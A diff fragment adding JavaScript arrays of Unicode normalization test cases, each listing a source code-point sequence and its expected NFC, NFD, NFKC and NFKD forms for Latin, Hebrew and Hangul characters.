+{ source: [0x1E0A, 0x031B, 0x0323], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x1E0C, 0x031B, 0x0307], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x0044, 0x031B, 0x0307, 0x0323], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x0044, 0x031B, 0x0323, 0x0307], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x00C8], NFC: [0x00C8], NFD: [0x0045, 0x0300], NFKC: [0x00C8], NFKD: [0x0045, 0x0300] },
+{ source: [0x0112], NFC: [0x0112], NFD: [0x0045, 0x0304], NFKC: [0x0112], NFKD: [0x0045, 0x0304] },
+{ source: [0x0045, 0x0300], NFC: [0x00C8], NFD: [0x0045, 0x0300], NFKC: [0x00C8], NFKD: [0x0045, 0x0300] },
+{ source: [0x0045, 0x0304], NFC: [0x0112], NFD: [0x0045, 0x0304], NFKC: [0x0112], NFKD: [0x0045, 0x0304] },
+{ source: [0x1E14], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x0112, 0x0300], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x1E14, 0x0304], NFC: [0x1E14, 0x0304], NFD: [0x0045, 0x0304, 0x0300, 0x0304], NFKC: [0x1E14, 0x0304], NFKD: [0x0045, 0x0304, 0x0300, 0x0304] },
+{ source: [0x0045, 0x0304, 0x0300], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x0045, 0x0300, 0x0304], NFC: [0x00C8, 0x0304], NFD: [0x0045, 0x0300, 0x0304], NFKC: [0x00C8, 0x0304], NFKD: [0x0045, 0x0300, 0x0304] },
+{ source: [0x05B8, 0x05B9, 0x05B1, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFC: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFD: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFKC: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFKD: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F] },
+{ source: [0x0592, 0x05B7, 0x05BC, 0x05A5, 0x05B0, 0x05C0, 0x05C4, 0x05AD], NFC: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4], NFD: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4], NFKC: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4], NFKD: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4] },
+{ source: [0x1100, 0xAC00, 0x11A8], NFC: [0x1100, 0xAC01], NFD: [0x1100, 0x1100, 0x1161, 0x11A8], NFKC: [0x1100, 0xAC01], NFKD: [0x1100, 0x1100, 0x1161, 0x11A8] },
+{ source: [0x1100, 0xAC00, 0x11A8, 0x11A8], NFC: [0x1100, 0xAC01, 0x11A8], NFD: [0x1100, 0x1100, 0x1161, 0x11A8, 0x11A8], NFKC: [0x1100, 0xAC01, 0x11A8], NFKD: [0x1100, 0x1100, 0x1161, 0x11A8, 0x11A8] }
+];
+/* Part1 # Character by character test */
+var tests_part1 = [
+{ source: [0x00A0], NFC: [0x00A0], NFD: [0x00A0], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x00A8], NFC: [0x00A8], NFD: [0x00A8], NFKC: [0x0020, 0x0308], NFKD: [0x0020, 0x0308] },
+{ source: [0x00AA], NFC: [0x00AA], NFD: [0x00AA], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x00AF], NFC: [0x00AF], NFD: [0x00AF], NFKC: [0x0020, 0x0304], NFKD: [0x0020, 0x0304] },
+{ source: [0x00B2], NFC: [0x00B2], NFD: [0x00B2], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x00B3], NFC: [0x00B3], NFD: [0x00B3], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x00B4], NFC: [0x00B4], NFD: [0x00B4], NFKC: [0x0020, 0x0301], NFKD: [0x0020, 0x0301] },
+{ source: [0x00B5], NFC: [0x00B5], NFD: [0x00B5], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x00B8], NFC: [0x00B8], NFD: [0x00B8], NFKC: [0x0020, 0x0327], NFKD: [0x0020, 0x0327] },
+{ source: [0x00B9], NFC: [0x00B9], NFD: [0x00B9], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x00BA], NFC: [0x00BA], NFD: [0x00BA], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x00BC], NFC: [0x00BC], NFD: [0x00BC], NFKC: [0x0031, 0x2044, 0x0034], NFKD: [0x0031, 0x2044, 0x0034] },
+{ source: [0x00BD], NFC: [0x00BD], NFD: [0x00BD], NFKC: [0x0031, 0x2044, 0x0032], NFKD: [0x0031, 0x2044, 0x0032] },
+{ source: [0x00BE], NFC: [0x00BE], NFD: [0x00BE], NFKC: [0x0033, 0x2044, 0x0034], NFKD: [0x0033, 0x2044, 0x0034] },
+{ source: [0x00C0], NFC: [0x00C0], NFD: [0x0041, 0x0300], NFKC: [0x00C0], NFKD: [0x0041, 0x0300] },
+{ source: [0x00C1], NFC: [0x00C1], NFD: [0x0041, 0x0301], NFKC: [0x00C1], NFKD: [0x0041, 0x0301] },
+{ source: [0x00C2], NFC: [0x00C2], NFD: [0x0041, 0x0302], NFKC: [0x00C2], NFKD: [0x0041, 0x0302] },
+{ source: [0x00C3], NFC: [0x00C3], NFD: [0x0041, 0x0303], NFKC: [0x00C3], NFKD: [0x0041, 0x0303] },
+{ source: [0x00C4], NFC: [0x00C4], NFD: [0x0041, 0x0308], NFKC: [0x00C4], NFKD: [0x0041, 0x0308] },
+{ source: [0x00C5], NFC: [0x00C5], NFD: [0x0041, 0x030A], NFKC: [0x00C5], NFKD: [0x0041, 0x030A] },
+{ source: [0x00C7], NFC: [0x00C7], NFD: [0x0043, 0x0327], NFKC: [0x00C7], NFKD: [0x0043, 0x0327] },
+{ source: [0x00C8], NFC: [0x00C8], NFD: [0x0045, 0x0300], NFKC: [0x00C8], NFKD: [0x0045, 0x0300] },
+{ source: [0x00C9], NFC: [0x00C9], NFD: [0x0045, 0x0301], NFKC: [0x00C9], NFKD: [0x0045, 0x0301] },
+{ source: [0x00CA], NFC: [0x00CA], NFD: [0x0045, 0x0302], NFKC: [0x00CA], NFKD: [0x0045, 0x0302] },
+{ source: [0x00CB], NFC: [0x00CB], NFD: [0x0045, 0x0308], NFKC: [0x00CB], NFKD: [0x0045, 0x0308] },
+{ source: [0x00CC], NFC: [0x00CC], NFD: [0x0049, 0x0300], NFKC: [0x00CC], NFKD: [0x0049, 0x0300] },
+{ source: [0x00CD], NFC: [0x00CD], NFD: [0x0049, 0x0301], NFKC: [0x00CD], NFKD: [0x0049, 0x0301] },
+{ source: [0x00CE], NFC: [0x00CE], NFD: [0x0049, 0x0302], NFKC: [0x00CE], NFKD: [0x0049, 0x0302] },
+{ source: [0x00CF], NFC: [0x00CF], NFD: [0x0049, 0x0308], NFKC: [0x00CF], NFKD: [0x0049, 0x0308] },
+{ source: [0x00D1], NFC: [0x00D1], NFD: [0x004E, 0x0303], NFKC: [0x00D1], NFKD: [0x004E, 0x0303] },
+{ source: [0x00D2], NFC: [0x00D2], NFD: [0x004F, 0x0300], NFKC: [0x00D2], NFKD: [0x004F, 0x0300] },
+{ source: [0x00D3], NFC: [0x00D3], NFD: [0x004F, 0x0301], NFKC: [0x00D3], NFKD: [0x004F, 0x0301] },
+{ source: [0x00D4], NFC: [0x00D4], NFD: [0x004F, 0x0302], NFKC: [0x00D4], NFKD: [0x004F, 0x0302] },
+{ source: [0x00D5], NFC: [0x00D5], NFD: [0x004F, 0x0303], NFKC: [0x00D5], NFKD: [0x004F, 0x0303] },
+{ source: [0x00D6], NFC: [0x00D6], NFD: [0x004F, 0x0308], NFKC: [0x00D6], NFKD: [0x004F, 0x0308] },
+{ source: [0x00D9], NFC: [0x00D9], NFD: [0x0055, 0x0300], NFKC: [0x00D9], NFKD: [0x0055, 0x0300] },
+{ source: [0x00DA], NFC: [0x00DA], NFD: [0x0055, 0x0301], NFKC: [0x00DA], NFKD: [0x0055, 0x0301] },
+{ source: [0x00DB], NFC: [0x00DB], NFD: [0x0055, 0x0302], NFKC: [0x00DB], NFKD: [0x0055, 0x0302] },
+{ source: [0x00DC], NFC: [0x00DC], NFD: [0x0055, 0x0308], NFKC: [0x00DC], NFKD: [0x0055, 0x0308] },
+{ source: [0x00DD], NFC: [0x00DD], NFD: [0x0059, 0x0301], NFKC: [0x00DD], NFKD: [0x0059, 0x0301] },
+{ source: [0x00E0], NFC: [0x00E0], NFD: [0x0061, 0x0300], NFKC: [0x00E0], NFKD: [0x0061, 0x0300] },
+{ source: [0x00E1], NFC: [0x00E1], NFD: [0x0061, 0x0301], NFKC: [0x00E1], NFKD: [0x0061, 0x0301] },
+{ source: [0x00E2], NFC: [0x00E2], NFD: [0x0061, 0x0302], NFKC: [0x00E2], NFKD: [0x0061, 0x0302] },
+{ source: [0x00E3], NFC: [0x00E3], NFD: [0x0061, 0x0303], NFKC: [0x00E3], NFKD: [0x0061, 0x0303] },
+{ source: [0x00E4], NFC: [0x00E4], NFD: [0x0061, 0x0308], NFKC: [0x00E4], NFKD: [0x0061, 0x0308] },
+{ source: [0x00E5], NFC: [0x00E5], NFD: [0x0061, 0x030A], NFKC: [0x00E5], NFKD: [0x0061, 0x030A] },
+{ source: [0x00E7], NFC: [0x00E7], NFD: [0x0063, 0x0327], NFKC: [0x00E7], NFKD: [0x0063, 0x0327] },
+{ source: [0x00E8], NFC: [0x00E8], NFD: [0x0065, 0x0300], NFKC: [0x00E8], NFKD: [0x0065, 0x0300] },
+{ source: [0x00E9], NFC: [0x00E9], NFD: [0x0065, 0x0301], NFKC: [0x00E9], NFKD: [0x0065, 0x0301] },
+{ source: [0x00EA], NFC: [0x00EA], NFD: [0x0065, 0x0302], NFKC: [0x00EA], NFKD: [0x0065, 0x0302] },
+{ source: [0x00EB], NFC: [0x00EB], NFD: [0x0065, 0x0308], NFKC: [0x00EB], NFKD: [0x0065, 0x0308] },
+{ source: [0x00EC], NFC: [0x00EC], NFD: [0x0069, 0x0300], NFKC: [0x00EC], NFKD: [0x0069, 0x0300] },
+{ source: [0x00ED], NFC: [0x00ED], NFD: [0x0069, 0x0301], NFKC: [0x00ED], NFKD: [0x0069, 0x0301] },
+{ source: [0x00EE], NFC: [0x00EE], NFD: [0x0069, 0x0302], NFKC: [0x00EE], NFKD: [0x0069, 0x0302] },
+{ source: [0x00EF], NFC: [0x00EF], NFD: [0x0069, 0x0308], NFKC: [0x00EF], NFKD: [0x0069, 0x0308] },
+{ source: [0x00F1], NFC: [0x00F1], NFD: [0x006E, 0x0303], NFKC: [0x00F1], NFKD: [0x006E, 0x0303] },
+{ source: [0x00F2], NFC: [0x00F2], NFD: [0x006F, 0x0300], NFKC: [0x00F2], NFKD: [0x006F, 0x0300] },
+{ source: [0x00F3], NFC: [0x00F3], NFD: [0x006F, 0x0301], NFKC: [0x00F3], NFKD: [0x006F, 0x0301] },
+{ source: [0x00F4], NFC: [0x00F4], NFD: [0x006F, 0x0302], NFKC: [0x00F4], NFKD: [0x006F, 0x0302] },
+{ source: [0x00F5], NFC: [0x00F5], NFD: [0x006F, 0x0303], NFKC: [0x00F5], NFKD: [0x006F, 0x0303] },
+{ source: [0x00F6], NFC: [0x00F6], NFD: [0x006F, 0x0308], NFKC: [0x00F6], NFKD: [0x006F, 0x0308] },
+{ source: [0x00F9], NFC: [0x00F9], NFD: [0x0075, 0x0300], NFKC: [0x00F9], NFKD: [0x0075, 0x0300] },
+{ source: [0x00FA], NFC: [0x00FA], NFD: [0x0075, 0x0301], NFKC: [0x00FA], NFKD: [0x0075, 0x0301] },
+{ source: [0x00FB], NFC: [0x00FB], NFD: [0x0075, 0x0302], NFKC: [0x00FB], NFKD: [0x0075, 0x0302] },
+{ source: [0x00FC], NFC: [0x00FC], NFD: [0x0075, 0x0308], NFKC: [0x00FC], NFKD: [0x0075, 0x0308] },
+{ source: [0x00FD], NFC: [0x00FD], NFD: [0x0079, 0x0301], NFKC: [0x00FD], NFKD: [0x0079, 0x0301] },
+{ source: [0x00FF], NFC: [0x00FF], NFD: [0x0079, 0x0308], NFKC: [0x00FF], NFKD: [0x0079, 0x0308] },
+{ source: [0x0100], NFC: [0x0100], NFD: [0x0041, 0x0304], NFKC: [0x0100], NFKD: [0x0041, 0x0304] },
+{ source: [0x0101], NFC: [0x0101], NFD: [0x0061, 0x0304], NFKC: [0x0101], NFKD: [0x0061, 0x0304] },
+{ source: [0x0102], NFC: [0x0102], NFD: [0x0041, 0x0306], NFKC: [0x0102], NFKD: [0x0041, 0x0306] },
+{ source: [0x0103], NFC: [0x0103], NFD: [0x0061, 0x0306], NFKC: [0x0103], NFKD: [0x0061, 0x0306] },
+{ source: [0x0104], NFC: [0x0104], NFD: [0x0041, 0x0328], NFKC: [0x0104], NFKD: [0x0041, 0x0328] },
+{ source: [0x0105], NFC: [0x0105], NFD: [0x0061, 0x0328], NFKC: [0x0105], NFKD: [0x0061, 0x0328] },
+{ source: [0x0106], NFC: [0x0106], NFD: [0x0043, 0x0301], NFKC: [0x0106], NFKD: [0x0043, 0x0301] },
+{ source: [0x0107], NFC: [0x0107], NFD: [0x0063, 0x0301], NFKC: [0x0107], NFKD: [0x0063, 0x0301] },
+{ source: [0x0108], NFC: [0x0108], NFD: [0x0043, 0x0302], NFKC: [0x0108], NFKD: [0x0043, 0x0302] },
+{ source: [0x0109], NFC: [0x0109], NFD: [0x0063, 0x0302], NFKC: [0x0109], NFKD: [0x0063, 0x0302] },
+{ source: [0x010A], NFC: [0x010A], NFD: [0x0043, 0x0307], NFKC: [0x010A], NFKD: [0x0043, 0x0307] },
+{ source: [0x010B], NFC: [0x010B], NFD: [0x0063, 0x0307], NFKC: [0x010B], NFKD: [0x0063, 0x0307] },
+{ source: [0x010C], NFC: [0x010C], NFD: [0x0043, 0x030C], NFKC: [0x010C], NFKD: [0x0043, 0x030C] },
+{ source: [0x010D], NFC: [0x010D], NFD: [0x0063, 0x030C], NFKC: [0x010D], NFKD: [0x0063, 0x030C] },
+{ source: [0x010E], NFC: [0x010E], NFD: [0x0044, 0x030C], NFKC: [0x010E], NFKD: [0x0044, 0x030C] },
+{ source: [0x010F], NFC: [0x010F], NFD: [0x0064, 0x030C], NFKC: [0x010F], NFKD: [0x0064, 0x030C] },
+{ source: [0x0112], NFC: [0x0112], NFD: [0x0045, 0x0304], NFKC: [0x0112], NFKD: [0x0045, 0x0304] },
+{ source: [0x0113], NFC: [0x0113], NFD: [0x0065, 0x0304], NFKC: [0x0113], NFKD: [0x0065, 0x0304] },
+{ source: [0x0114], NFC: [0x0114], NFD: [0x0045, 0x0306], NFKC: [0x0114], NFKD: [0x0045, 0x0306] },
+{ source: [0x0115], NFC: [0x0115], NFD: [0x0065, 0x0306], NFKC: [0x0115], NFKD: [0x0065, 0x0306] },
+{ source: [0x0116], NFC: [0x0116], NFD: [0x0045, 0x0307], NFKC: [0x0116], NFKD: [0x0045, 0x0307] },
+{ source: [0x0117], NFC: [0x0117], NFD: [0x0065, 0x0307], NFKC: [0x0117], NFKD: [0x0065, 0x0307] },
+{ source: [0x0118], NFC: [0x0118], NFD: [0x0045, 0x0328], NFKC: [0x0118], NFKD: [0x0045, 0x0328] },
+{ source: [0x0119], NFC: [0x0119], NFD: [0x0065, 0x0328], NFKC: [0x0119], NFKD: [0x0065, 0x0328] },
+{ source: [0x011A], NFC: [0x011A], NFD: [0x0045, 0x030C], NFKC: [0x011A], NFKD: [0x0045, 0x030C] },
+{ source: [0x011B], NFC: [0x011B], NFD: [0x0065, 0x030C], NFKC: [0x011B], NFKD: [0x0065, 0x030C] },
+{ source: [0x011C], NFC: [0x011C], NFD: [0x0047, 0x0302], NFKC: [0x011C], NFKD: [0x0047, 0x0302] },
+{ source: [0x011D], NFC: [0x011D], NFD: [0x0067, 0x0302], NFKC: [0x011D], NFKD: [0x0067, 0x0302] },
+{ source: [0x011E], NFC: [0x011E], NFD: [0x0047, 0x0306], NFKC: [0x011E], NFKD: [0x0047, 0x0306] },
+{ source: [0x011F], NFC: [0x011F], NFD: [0x0067, 0x0306], NFKC: [0x011F], NFKD: [0x0067, 0x0306] },
+{ source: [0x0120], NFC: [0x0120], NFD: [0x0047, 0x0307], NFKC: [0x0120], NFKD: [0x0047, 0x0307] },
+{ source: [0x0121], NFC: [0x0121], NFD: [0x0067, 0x0307], NFKC: [0x0121], NFKD: [0x0067, 0x0307] },
+{ source: [0x0122], NFC: [0x0122], NFD: [0x0047, 0x0327], NFKC: [0x0122], NFKD: [0x0047, 0x0327] },
+{ source: [0x0123], NFC: [0x0123], NFD: [0x0067, 0x0327], NFKC: [0x0123], NFKD: [0x0067, 0x0327] },
+{ source: [0x0124], NFC: [0x0124], NFD: [0x0048, 0x0302], NFKC: [0x0124], NFKD: [0x0048, 0x0302] },
+{ source: [0x0125], NFC: [0x0125], NFD: [0x0068, 0x0302], NFKC: [0x0125], NFKD: [0x0068, 0x0302] },
+{ source: [0x0128], NFC: [0x0128], NFD: [0x0049, 0x0303], NFKC: [0x0128], NFKD: [0x0049, 0x0303] },
+{ source: [0x0129], NFC: [0x0129], NFD: [0x0069, 0x0303], NFKC: [0x0129], NFKD: [0x0069, 0x0303] },
+{ source: [0x012A], NFC: [0x012A], NFD: [0x0049, 0x0304], NFKC: [0x012A], NFKD: [0x0049, 0x0304] },
+{ source: [0x012B], NFC: [0x012B], NFD: [0x0069, 0x0304], NFKC: [0x012B], NFKD: [0x0069, 0x0304] },
+{ source: [0x012C], NFC: [0x012C], NFD: [0x0049, 0x0306], NFKC: [0x012C], NFKD: [0x0049, 0x0306] },
+{ source: [0x012D], NFC: [0x012D], NFD: [0x0069, 0x0306], NFKC: [0x012D], NFKD: [0x0069, 0x0306] },
+{ source: [0x012E], NFC: [0x012E], NFD: [0x0049, 0x0328], NFKC: [0x012E], NFKD: [0x0049, 0x0328] },
+{ source: [0x012F], NFC: [0x012F], NFD: [0x0069, 0x0328], NFKC: [0x012F], NFKD: [0x0069, 0x0328] },
+{ source: [0x0130], NFC: [0x0130], NFD: [0x0049, 0x0307], NFKC: [0x0130], NFKD: [0x0049, 0x0307] },
+{ source: [0x0132], NFC: [0x0132], NFD: [0x0132], NFKC: [0x0049, 0x004A], NFKD: [0x0049, 0x004A] },
+{ source: [0x0133], NFC: [0x0133], NFD: [0x0133], NFKC: [0x0069, 0x006A], NFKD: [0x0069, 0x006A] },
+{ source: [0x0134], NFC: [0x0134], NFD: [0x004A, 0x0302], NFKC: [0x0134], NFKD: [0x004A, 0x0302] },
+{ source: [0x0135], NFC: [0x0135], NFD: [0x006A, 0x0302], NFKC: [0x0135], NFKD: [0x006A, 0x0302] },
+{ source: [0x0136], NFC: [0x0136], NFD: [0x004B, 0x0327], NFKC: [0x0136], NFKD: [0x004B, 0x0327] },
+{ source: [0x0137], NFC: [0x0137], NFD: [0x006B, 0x0327], NFKC: [0x0137], NFKD: [0x006B, 0x0327] },
+{ source: [0x0139], NFC: [0x0139], NFD: [0x004C, 0x0301], NFKC: [0x0139], NFKD: [0x004C, 0x0301] },
+{ source: [0x013A], NFC: [0x013A], NFD: [0x006C, 0x0301], NFKC: [0x013A], NFKD: [0x006C, 0x0301] },
+{ source: [0x013B], NFC: [0x013B], NFD: [0x004C, 0x0327], NFKC: [0x013B], NFKD: [0x004C, 0x0327] },
+{ source: [0x013C], NFC: [0x013C], NFD: [0x006C, 0x0327], NFKC: [0x013C], NFKD: [0x006C, 0x0327] },
+{ source: [0x013D], NFC: [0x013D], NFD: [0x004C, 0x030C], NFKC: [0x013D], NFKD: [0x004C, 0x030C] },
+{ source: [0x013E], NFC: [0x013E], NFD: [0x006C, 0x030C], NFKC: [0x013E], NFKD: [0x006C, 0x030C] },
+{ source: [0x013F], NFC: [0x013F], NFD: [0x013F], NFKC: [0x004C, 0x00B7], NFKD: [0x004C, 0x00B7] },
+{ source: [0x0140], NFC: [0x0140], NFD: [0x0140], NFKC: [0x006C, 0x00B7], NFKD: [0x006C, 0x00B7] },
+{ source: [0x0143], NFC: [0x0143], NFD: [0x004E, 0x0301], NFKC: [0x0143], NFKD: [0x004E, 0x0301] },
+{ source: [0x0144], NFC: [0x0144], NFD: [0x006E, 0x0301], NFKC: [0x0144], NFKD: [0x006E, 0x0301] },
+{ source: [0x0145], NFC: [0x0145], NFD: [0x004E, 0x0327], NFKC: [0x0145], NFKD: [0x004E, 0x0327] },
+{ source: [0x0146], NFC: [0x0146], NFD: [0x006E, 0x0327], NFKC: [0x0146], NFKD: [0x006E, 0x0327] },
+{ source: [0x0147], NFC: [0x0147], NFD: [0x004E, 0x030C], NFKC: [0x0147], NFKD: [0x004E, 0x030C] },
+{ source: [0x0148], NFC: [0x0148], NFD: [0x006E, 0x030C], NFKC: [0x0148], NFKD: [0x006E, 0x030C] },
+{ source: [0x0149], NFC: [0x0149], NFD: [0x0149], NFKC: [0x02BC, 0x006E], NFKD: [0x02BC, 0x006E] },
+{ source: [0x014C], NFC: [0x014C], NFD: [0x004F, 0x0304], NFKC: [0x014C], NFKD: [0x004F, 0x0304] },
+{ source: [0x014D], NFC: [0x014D], NFD: [0x006F, 0x0304], NFKC: [0x014D], NFKD: [0x006F, 0x0304] },
+{ source: [0x014E], NFC: [0x014E], NFD: [0x004F, 0x0306], NFKC: [0x014E], NFKD: [0x004F, 0x0306] },
+{ source: [0x014F], NFC: [0x014F], NFD: [0x006F, 0x0306], NFKC: [0x014F], NFKD: [0x006F, 0x0306] },
+{ source: [0x0150], NFC: [0x0150], NFD: [0x004F, 0x030B], NFKC: [0x0150], NFKD: [0x004F, 0x030B] },
+{ source: [0x0151], NFC: [0x0151], NFD: [0x006F, 0x030B], NFKC: [0x0151], NFKD: [0x006F, 0x030B] },
+{ source: [0x0154], NFC: [0x0154], NFD: [0x0052, 0x0301], NFKC: [0x0154], NFKD: [0x0052, 0x0301] },
+{ source: [0x0155], NFC: [0x0155], NFD: [0x0072, 0x0301], NFKC: [0x0155], NFKD: [0x0072, 0x0301] },
+{ source: [0x0156], NFC: [0x0156], NFD: [0x0052, 0x0327], NFKC: [0x0156], NFKD: [0x0052, 0x0327] },
+{ source: [0x0157], NFC: [0x0157], NFD: [0x0072, 0x0327], NFKC: [0x0157], NFKD: [0x0072, 0x0327] },
+{ source: [0x0158], NFC: [0x0158], NFD: [0x0052, 0x030C], NFKC: [0x0158], NFKD: [0x0052, 0x030C] },
+{ source: [0x0159], NFC: [0x0159], NFD: [0x0072, 0x030C], NFKC: [0x0159], NFKD: [0x0072, 0x030C] },
+{ source: [0x015A], NFC: [0x015A], NFD: [0x0053, 0x0301], NFKC: [0x015A], NFKD: [0x0053, 0x0301] },
+{ source: [0x015B], NFC: [0x015B], NFD: [0x0073, 0x0301], NFKC: [0x015B], NFKD: [0x0073, 0x0301] },
+{ source: [0x015C], NFC: [0x015C], NFD: [0x0053, 0x0302], NFKC: [0x015C], NFKD: [0x0053, 0x0302] },
+{ source: [0x015D], NFC: [0x015D], NFD: [0x0073, 0x0302], NFKC: [0x015D], NFKD: [0x0073, 0x0302] },
+{ source: [0x015E], NFC: [0x015E], NFD: [0x0053, 0x0327], NFKC: [0x015E], NFKD: [0x0053, 0x0327] },
+{ source: [0x015F], NFC: [0x015F], NFD: [0x0073, 0x0327], NFKC: [0x015F], NFKD: [0x0073, 0x0327] },
+{ source: [0x0160], NFC: [0x0160], NFD: [0x0053, 0x030C], NFKC: [0x0160], NFKD: [0x0053, 0x030C] },
+{ source: [0x0161], NFC: [0x0161], NFD: [0x0073, 0x030C], NFKC: [0x0161], NFKD: [0x0073, 0x030C] },
+{ source: [0x0162], NFC: [0x0162], NFD: [0x0054, 0x0327], NFKC: [0x0162], NFKD: [0x0054, 0x0327] },
+{ source: [0x0163], NFC: [0x0163], NFD: [0x0074, 0x0327], NFKC: [0x0163], NFKD: [0x0074, 0x0327] },
+{ source: [0x0164], NFC: [0x0164], NFD: [0x0054, 0x030C], NFKC: [0x0164], NFKD: [0x0054, 0x030C] },
+{ source: [0x0165], NFC: [0x0165], NFD: [0x0074, 0x030C], NFKC: [0x0165], NFKD: [0x0074, 0x030C] },
+{ source: [0x0168], NFC: [0x0168], NFD: [0x0055, 0x0303], NFKC: [0x0168], NFKD: [0x0055, 0x0303] },
+{ source: [0x0169], NFC: [0x0169], NFD: [0x0075, 0x0303], NFKC: [0x0169], NFKD: [0x0075, 0x0303] },
+{ source: [0x016A], NFC: [0x016A], NFD: [0x0055, 0x0304], NFKC: [0x016A], NFKD: [0x0055, 0x0304] },
+{ source: [0x016B], NFC: [0x016B], NFD: [0x0075, 0x0304], NFKC: [0x016B], NFKD: [0x0075, 0x0304] },
+{ source: [0x016C], NFC: [0x016C], NFD: [0x0055, 0x0306], NFKC: [0x016C], NFKD: [0x0055, 0x0306] },
+{ source: [0x016D], NFC: [0x016D], NFD: [0x0075, 0x0306], NFKC: [0x016D], NFKD: [0x0075, 0x0306] },
+{ source: [0x016E], NFC: [0x016E], NFD: [0x0055, 0x030A], NFKC: [0x016E], NFKD: [0x0055, 0x030A] },
+{ source: [0x016F], NFC: [0x016F], NFD: [0x0075, 0x030A], NFKC: [0x016F], NFKD: [0x0075, 0x030A] },
+{ source: [0x0170], NFC: [0x0170], NFD: [0x0055, 0x030B], NFKC: [0x0170], NFKD: [0x0055, 0x030B] },
+{ source: [0x0171], NFC: [0x0171], NFD: [0x0075, 0x030B], NFKC: [0x0171], NFKD: [0x0075, 0x030B] },
+{ source: [0x0172], NFC: [0x0172], NFD: [0x0055, 0x0328], NFKC: [0x0172], NFKD: [0x0055, 0x0328] },
+{ source: [0x0173], NFC: [0x0173], NFD: [0x0075, 0x0328], NFKC: [0x0173], NFKD: [0x0075, 0x0328] },
+{ source: [0x0174], NFC: [0x0174], NFD: [0x0057, 0x0302], NFKC: [0x0174], NFKD: [0x0057, 0x0302] },
+{ source: [0x0175], NFC: [0x0175], NFD: [0x0077, 0x0302], NFKC: [0x0175], NFKD: [0x0077, 0x0302] },
+{ source: [0x0176], NFC: [0x0176], NFD: [0x0059, 0x0302], NFKC: [0x0176], NFKD: [0x0059, 0x0302] },
+{ source: [0x0177], NFC: [0x0177], NFD: [0x0079, 0x0302], NFKC: [0x0177], NFKD: [0x0079, 0x0302] },
+{ source: [0x0178], NFC: [0x0178], NFD: [0x0059, 0x0308], NFKC: [0x0178], NFKD: [0x0059, 0x0308] },
+{ source: [0x0179], NFC: [0x0179], NFD: [0x005A, 0x0301], NFKC: [0x0179], NFKD: [0x005A, 0x0301] },
+{ source: [0x017A], NFC: [0x017A], NFD: [0x007A, 0x0301], NFKC: [0x017A], NFKD: [0x007A, 0x0301] },
+{ source: [0x017B], NFC: [0x017B], NFD: [0x005A, 0x0307], NFKC: [0x017B], NFKD: [0x005A, 0x0307] },
+{ source: [0x017C], NFC: [0x017C], NFD: [0x007A, 0x0307], NFKC: [0x017C], NFKD: [0x007A, 0x0307] },
+{ source: [0x017D], NFC: [0x017D], NFD: [0x005A, 0x030C], NFKC: [0x017D], NFKD: [0x005A, 0x030C] },
+{ source: [0x017E], NFC: [0x017E], NFD: [0x007A, 0x030C], NFKC: [0x017E], NFKD: [0x007A, 0x030C] },
+{ source: [0x017F], NFC: [0x017F], NFD: [0x017F], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x01A0], NFC: [0x01A0], NFD: [0x004F, 0x031B], NFKC: [0x01A0], NFKD: [0x004F, 0x031B] },
+{ source: [0x01A1], NFC: [0x01A1], NFD: [0x006F, 0x031B], NFKC: [0x01A1], NFKD: [0x006F, 0x031B] },
+{ source: [0x01AF], NFC: [0x01AF], NFD: [0x0055, 0x031B], NFKC: [0x01AF], NFKD: [0x0055, 0x031B] },
+{ source: [0x01B0], NFC: [0x01B0], NFD: [0x0075, 0x031B], NFKC: [0x01B0], NFKD: [0x0075, 0x031B] },
+{ source: [0x01C4], NFC: [0x01C4], NFD: [0x01C4], NFKC: [0x0044, 0x017D], NFKD: [0x0044, 0x005A, 0x030C] },
+{ source: [0x01C5], NFC: [0x01C5], NFD: [0x01C5], NFKC: [0x0044, 0x017E], NFKD: [0x0044, 0x007A, 0x030C] },
+{ source: [0x01C6], NFC: [0x01C6], NFD: [0x01C6], NFKC: [0x0064, 0x017E], NFKD: [0x0064, 0x007A, 0x030C] },
